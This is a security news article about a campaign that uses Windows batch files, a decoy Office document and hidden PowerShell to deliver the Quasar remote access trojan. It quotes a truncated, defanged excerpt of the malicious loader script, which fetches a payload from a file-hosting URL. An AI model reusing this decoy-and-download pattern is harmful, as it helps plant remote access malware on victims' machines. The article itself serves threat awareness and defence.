Threat Actors Weaponizing Bat Files to Deliver Quasar RAT

Cybersecurity researchers have identified a sophisticated new campaign where threat actors are leveraging Windows batch files to deliver the notorious Quasar Remote Access Trojan (RAT).

This attack vector represents a concerning evolution in malware distribution tactics, as attackers continue to refine their methods to evade traditional security measures and establish persistent access to victim systems.

The campaign employs a multi-stage attack chain that begins with seemingly innocuous batch files, which serve as the initial infection vector.

These files are designed to appear legitimate while secretly orchestrating the download and execution of malicious payloads.

The attackers have demonstrated considerable technical sophistication by implementing various obfuscation techniques and anti-analysis measures to avoid detection by security tools and sandbox environments.

Internet Storm Center analysts noted that this particular variant of Quasar RAT has been observed with improved evasion capabilities, making it significantly more challenging for cybersecurity professionals to detect and analyze.

The malware campaign has been actively targeting organizations across multiple sectors, with researchers observing a notable increase in infection attempts over recent weeks.

The attack methodology involves the deployment of a decoy Office document to maintain the illusion of legitimacy while the malicious processes execute in the background.

This social engineering component is crucial to the campaign’s success, as it provides victims with a false sense of security while the infection chain progresses undetected.

Infection Mechanism and Payload Delivery

The initial infection vector utilizes a carefully crafted batch file that implements a two-stage execution process.

The primary script launches both a decoy document and initiates the download of additional malicious components from remote servers.

The code structure demonstrates the attackers’ attention to operational security:-

@echo off
set "DOCX_PATH=%dp0Game_Purchase_Agreement (1).docx"
set "BAT_URL=hxxps://store3[.]gofile[.]io/download/web/60e1
set "STUB_BAT=%dp0stub.bat"
start "" "%DOCX_PATH%"
powershell -noprofile -windowstyle hidden -command "Invoke-
start /B "%STUB_BAT%"

The secondary batch file employs sophisticated obfuscation techniques, utilizing environment variables and goto statements to reconstruct malicious code dynamically.

Automate threat response with ANY.RUN’s TI Feeds—Enrich alerts and block malicious IPs across all endpoints -> Request full access